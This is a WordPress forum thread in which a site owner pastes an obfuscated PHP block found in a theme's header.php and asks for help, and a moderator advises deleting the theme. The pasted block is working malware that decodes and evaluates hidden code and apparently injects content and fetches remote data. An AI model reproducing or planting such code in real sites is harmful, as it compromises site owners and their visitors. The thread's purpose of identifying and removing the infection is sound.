strange code found in header and footer file! Virus?

  • fortechblog

    (@fortechblog)


    11 years, 1 month ago

    I have come across a code in my header.php and footer.php file. I am sure this is something wrong. I want to take help in 2 things
    1. What is this?
    2. How to remove this?
    3. how to save from this in future?

    The code in header.php file is:

    <?php /*versio:2.14*/$QOO0=0;$GLOBALS[‘QOO0’] = ‘=wY3VybAWjX2luaXQYWxsb3dfdXJsX2ZvcGVu^t;I){MQdAX3NldG9wdAny yX2V4ZWMAOUXw%.Y2xvc2UtblPGltZyBzcmM9IgZxIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4}ycSFRUUF9VU0VSX0FHRU5UgfMJSFRUUF9IT1NUdwMTI3Lg)r)MTAuZTLMTkyLjE2OC4.a29ubW8ubmV0zZ2Fib3Iuc2U@aGF2ZWFwb2tlLmNvbS5hdQCEpWV8Oge ZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9y}d3BfYWM_uMi4xNARmVoWXg0dzR3ZjB3M2Qxb;t!YmFzZTY0X2RlY29kZQJ(YmFzZTY0X2VuY29kZQCEaHR0cDovLwmqdW5pb24mh^c2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUUcyUVVFUllfU1RSSU5H?PHPwewL3RtcC8NBL3RtcAJt}ZWVE1QLVEVNUAyfakYVE1QRElSLEI~dXBsb2FkX3RtcF9kaXIxLg*VdmVyc2lvLQJ{LXBocAxSFRUUF9FWEVDUEhQXepYb3V0udP!PWb2sgxotXaHR0cAM!Dk$ROi8v@}L3BnLnBocD91PQJms9JnQ9cGhwJnA9jZJnY9HOZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkVsc1NXeEpNU2w3SUNSUk1FOVBVVEFnUFNCSmJERXhNVWxzYkNneUxDQTJLVHNnSkVsc01XeEpNU0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTVRBc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NXd3hNVEZKYkd3b01UY3NJREl3S1NrZ1BUMGdTV3d4TVRGSmJHd29ORE1zSURJcEtTQjdJQ1JKTVRGSmJHdzlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JKYkVsc1NURXBPeUJ5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpiREZzU1RFcEtYc2dKRkZSVDFGUlR5QTlJRUFrU1d3eGJFa3hLQ2s3SUNSUlVVOHdNRThnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RRM0xDQXhNQ2s3SUNSSlNVbEpTV3dnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RZeExDQTNLVHNnSkVsc1NVbHNiQ0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTnpFc0lESXBMa2xzTVRFeFNXeHNLRGMxTENBM0tUc2dRQ1JSVVU4d01FOG9KRkZSVDFGUlR5d2dRMVZTVEU5UVZGOVZVa3dzSUNSSmJFbHNTVEVwT3lCQUpGRlJUekF3VHlna1VWRlBVVkZQTENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVZGUE1EQlBLQ1JSVVU5UlVVOHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VWRlBNREJQS0NSUlVVOVJVVThzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tVVkZSVVU5UElEMGdRQ1JKU1VsSlNXd29KRkZSVDFGUlR5a3BJSHR5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE8zMGdRQ1JKYkVsSmJHd29KRkZSVDFGUlR5azdJSEpsZEhWeWJpQkpiREV4TVVsc2JDZzBOaXdnTUNrN0lIMGdmU0JtZFc1amRHbHZiaUIxY0dRb0pGRXdNRkZSTUN3a1NXeEpiRWt4S1hzZ0pGRXdVVTlQTUNBOUlFQnpkSEowYjJ4dmQyVnlLRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2d4TkRNc0lESXdLVjBwT3lCbWIzSmxZV05vSUNobGVIQnNiMlJsS0NJc0lpd2dJbWR2YjJkc1pTeDVZV2h2Ynl4aWFXNW5MRzF6Yml4aGMyc3NZbUZwWkhVc1kzSmhkMnhsY2lJcElHRnpJQ1JSVVRBd1QwOHBleUJwWmlBb2MzUnljRzl6S0NSUk1GRlBUekFzSUNSUlVUQXdUMDhwSVQwOVJtRnNjMlVwZXlBa1NVbEpiREZzUFVCbWIzQmxiaWdrVVRBd1VWRXdMRWxzTVRFeFNXeHNLREUzT1N3Z01pa3BPeUJBWm1Oc2IzTmxLQ1JKU1Vsc01Xd3BPeUJwWmlBb1FHbHpYMlpwYkdVb0pGRXdNRkZSTUNrcGV5QjNjbWwwWlNna1VUQXdVVkV3TENCblpYUm1hV3hsS0NSSmJFbHNTVEVwS1RzZ2ZUc2dmU0I5SUgwZ0pFbHNiR3hKU1NBOUlFRnljbUY1S0Vsc01URXhTV3hzS0RJd09Td2dNVElwTENCSmJERXhNVWxzYkNneU1qSXNJREV4S1N3Z1NXd3hNVEZKYkd3b01qTTBMQ0F5TWlrcE95QWtVVEJQVDFGUklEMGdKRWxzYkd4SlNWc3hYVHNnWm5WdVkzUnBiMjRnZDNKcGRHVW9KRkV3TUZGUk1Dd2tVVTlSVVZGUEtYc2dhV1lnS0NSSlNVbHNiREU5UUdadmNHVnVLQ1JSTURCUlVUQXNTV3d4TVRGSmJHd29NVGM1TENBeUtTa3BleUJBWm5keWFYUmxLQ1JKU1Vsc2JERXNKRkZQVVZGUlR5azdJRUJtWTJ4dmMyVW9KRWxKU1d4c01TazdJSDBnZlNCbWRXNWpkR2x2YmlCdmRYUndkWFFvSkVsSmJHeEpNU3dnSkZFd1QxRXdNQ2w3SUdWamFHOGdTV3d4TVRGSmJHd29NalU1TENBektTNGtTVWxzYkVreExrbHNNVEV4U1d4c0tESTJNaXdnTWlrdUpGRXdUMUV3TUM0aVhISmNiaUk3SUgwZ1puVnVZM1JwYjI0Z2NHRnlZVzBvS1hzZ2NtVjBkWEp1SUVsc01URXhTV3hzS0RRMkxDQXdLVHNnZlNCQWFXNXBYM05sZENoSmJERXhNVWxzYkNneU5qWXNJREU1S1N3Z01DazdJR1JsWm1sdVpTaEpiREV4TVVsc2JDZ3lPRFVzSURFMktTd2dNU2s3SUNSSmJHd3hNVWs5U1d3eE1URkpiR3dvTXpBeUxDQTNLVHNnSkZGUlVWRXdNRDFKYkRFeE1VbHNiQ2d6TVRFc0lEWXBPeUFrU1d4c01VbHNQVWxzTVRFeFNXeHNLRE14Tnl3Z01qQXBPeUFrU1RFeFNURXhQVWxzTVRFeFNXeHNLRE0wTVN3Z01UZ3BPeUFrU1RGc2JERXhQVWxzTVRFeFNXeHNLRE0yTVN3Z01UZ3BPeUFrU1VsSlNURXhQVWxzTVRFeFNXeHNLRE00TVN3Z01UQXBPeUFrU1VsSlNURXhMajF6ZEhKMGIyeHZkMlZ5S0VBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNneE5qY3NJREV5S1YwcE95QWtVVEJSVDA4d0lEMGdRQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLREUwTXl3Z01qQXBYVHNnWm05eVpXRmphQ0FvSkY5SFJWUWdZWE1nSkVsSmJHeEpNVDArSkZFd1QxRXdNQ2w3SUdsbUlDaHpkSEp3YjNNb0pGRXdUMUV3TUN4SmJERXhNVWxzYkNnek9UTXNJRGNwS1NsN0pGOUhSVlJiSkVsSmJHeEpNVjA5U1d3eE1URkpiR3dvTkRZc0lEQXBPMzBnWld4elpXbG1JQ2h6ZEhKd2IzTW9KRkV3VDFFd01DeEpiREV4TVVsc2JDZzBNRE1zSURncEtTbDdKRjlIUlZSYkpFbEpiR3hKTVYwOVNXd3hNVEZKYkd3b05EWXNJREFwTzMwZ2ZTQnBaaWdoYVhOelpYUW9KRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREV4TENBeE5TbGRLU2tnZXlBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNnME1URXNJREUxS1YwZ1BTQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREkyTENBeE5TbGRPeUJwWmloQUpGOVRSVkpXUlZKYlNXd3hNVEZKYkd3b05EUXpMQ0F4TmlsZEtTQjdJQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLRFF4TVN3Z01UVXBYU0F1UFNCSmJERXhNVWxzYkNnME5qSXNJRElwSUM0Z1FDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUTBNeXdnTVRZcFhUc2dmU0I5SUdsbUlDZ2tTVEZKYkVreFBTUkpTVWxKTVRFdVFDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUXhNU3dnTVRVcFhTbDdJQ1JSVDA4d01EQTlRRzFrTlNna1NVbEpTVEV4TGlSUlVWRlJNREF1VUVoUVgwOVRMaVJKYkd3eFNXd3BPeUFrVVU5UFQwOVJQVWxzTVRFeFNXeHNLRFEyTml3Z055azdJQ1JSVDA5UFQwOGdQU0JCY25KaGVTaEpiREV4TVVsc2JDZzBOelVzSURZcExDQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29ORGcyTENBMEtWMHNJRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2cwT1RFc0lEWXBYU3dnUUNSZlJVNVdXMGxzTVRFeFNXeHNLRFE0Tml3Z05DbGRMQ0JBSkY5RlRsWmJTV3d4TVRGSmJHd29OVEF5TENBNEtWMHNJRUFrWDBWT1ZsdEpiREV4TVVsc2JDZzBPVEVzSURZcFhTd2dRR2x1YVY5blpYUW9TV3d4TVRGSmJHd29OVEUwTENBeE9Ta3BLVHNnWm05eVpXRmphQ0FvSkZGUFQwOVBUeUJoY3lBa1NURnNTV3hKS1hzZ2FXWWdLQ0ZsYlhCMGVTZ2tTVEZzU1d4SktTbDdJQ1JKTVd4SmJFa3VQVVJKVWtWRFZFOVNXVjlUUlZCQlVrRlVUMUk3SUdsbUlDaEFhWE5mZDNKcGRHRmliR1VvSkVreGJFbHNTU2twZXlBa1VVOVBUMDlSSUQwZ0pFa3hiRWxzU1RzZ1luSmxZV3M3SUgwZ2ZTQjlJQ1IwYlhBOUpGRlBUMDlQVVM1SmJERXhNVWxzYkNnMU16UXNJRElwTGlSUlQwOHdNREE3SUdsbUlDaEFKRjlUUlZKV1JWSmJJa2hVVkZCZldWOUJWVlJJSWwwOVBTUlJUMDh3TURBcGV5QmxZMmh2SUNKY2NseHVJanNnUUc5MWRIQjFkQ2hKYkRFeE1VbHNiQ2cxTXpnc0lEZ3BMQ0FrVVZGUlVUQXdMa2xzTVRFeFNXeHNLRFUwTml3Z01pa3VKRWxzYkRFeFNTNUpiREV4TVVsc2JDZzFOVEFzSURZcEtUc2dhV1lnS0NSUlVWRlBNRTg5SkVreE1Va3hNU2hBSkY5VFJWSldSVkpiU1d3eE1URkpiR3dvTlRVM0xDQXhOaWxkS1NsN0lFQmxkbUZzS0NSUlVWRlBNRThwT3lCbFkyaHZJQ0pjY2x4dUlqc2dRRzkxZEhCMWRDaEpiREV4TVVsc2JDZzFOemNzSURRcExDQkpiREV4TVVsc2JDZzFPRGNzSURNcEtUc2dmU0JsZUdsMEtEQXBPeUI5SUdsbUlDaEFhWE5mWm1sc1pTZ2tkRzF3S1NsN0lFQnBibU5zZFdSbFgyOXVZMlVvSkhSdGNDazdJSDBnWld4elpYc2dKRWt4U1d4Sk1UMUFkWEpzWlc1amIyUmxLQ1JKTVVsc1NURXBPeUIxY0dRb0pIUnRjQ3hKYkRFeE1VbHNiQ2cxT1RVc0lEWXBMa2xzTVRFeFNXeHNLRFl3Tnl3Z05Da3VKRWxzYkd4SlNWc3dYUzVKYkRFeE1VbHNiQ2cyTVRNc0lERTBLUzRrU1RGSmJFa3hMa2xzTVRFeFNXeHNLRFl5Tnl3Z05Da3VKRkZQVHpBd01DNUpiREV4TVVsc2JDZzJNekVzSURFeUtTNGtTV3hzTVRGSkxrbHNNVEV4U1d4c0tEWTBOU3dnTkNrdUpGRlJVVkV3TUNrN0lIMGdmU0I5IikpOwWcHJlZ19yZXBsYWNlWoQ6261736536345f6465636f6465’;if (!function_exists(‘Il111Ill’)){function Il111Ill($a, $b){$c=$GLOBALS[‘QOO0’]; $d=pack(‘H*’,substr($c, -26)); return $d(substr($c, $a, $b));}};$Q0QO0OQQO = Il111Ill(6242, 16);$Q0QO0OQQO(“/IlI1lII11/e”, Il111Ill(651, 5590), “IlI1lII11”);?>

    Please HELP!!!!!!

    Regards,

Viewing 1 replies (of 1 total)
  • @mercime

    (@mercime)

    11 years, 1 month ago

    @fortechblog I gather that this is not the theme (arras) that’s currently associated with the website URL in your WP profile page. I recommend that you delete that theme with those issues from your server. In order to avoid encountering that same issue again, do not download free themes from websites which are like theme farms.

    As for “fixing” such encoded themes, you might want to check out http://wordpress.org/support/topic/how-to-decrypt-an-encoded-theme?replies=3

    Having posted the link above, you still can’t be quite sure that you’ve deleted every encryption unless you check every file in that theme.

Viewing 1 replies (of 1 total)
  • The topic ‘strange code found in header and footer file! Virus?’ is closed to new replies.